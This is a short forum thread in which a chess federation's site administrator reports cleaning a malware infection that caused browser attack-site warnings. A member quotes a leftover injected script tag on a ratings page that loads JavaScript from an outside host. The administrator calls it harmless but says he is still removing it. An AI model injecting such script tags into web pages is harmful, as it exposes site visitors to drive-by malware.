Site infection fixed

[Christopher Mallon]

For those of you who have been experiencing a reported attack site warning from Google or Firefox, we have managed to completely remove the infection as of December 29th and so the site is now safe to visit. We anticipate that the warning will be removed shortly once they have time to scan our site again.

I am still in the process of updating all of the pages to account for some of the changes, so some links are broken - the very first thing I did was totally delete the pages causing the vulnerabilities, which in fact were not even being officially used anymore.

[Ellen Nadeau]

Hi Chris, this is great news. Was the CFC store a problem to fix? What time delay should we expect for unblocked access for customers?
Thanks,
Ellen

[Egidijus Zeromskis]

Originally Posted by Christopher Mallon

we have managed to completely remove the infection as of December 29th

Strangely, the http://www.chess.ca/memberinfoSQL.asp?CFCN=147297
(my son's rating statistics through SQL) still gives errors and a code has "script src=http://a0v.org/x.js>

[Christopher Mallon]

Thanks for pointing that one out, I'll see what I can do about it.

[Christopher Mallon]

OK the a0v link turns out to be harmless. Of course we still want to get rid of it and I'm working on that, but you don't need to worry about ratings pages infecting your system.

[Ellen Nadeau]

And the chess store? Did you clean it up?

[Christopher Mallon]

I don't have access to the store. Is it also infected? The warning is likely a carry over from being hosted on chess.ca

[Christopher Mallon]

I cleaned it up with a sort of temp fix... we'll have to clean it up out of the database too but it's gone on your end now.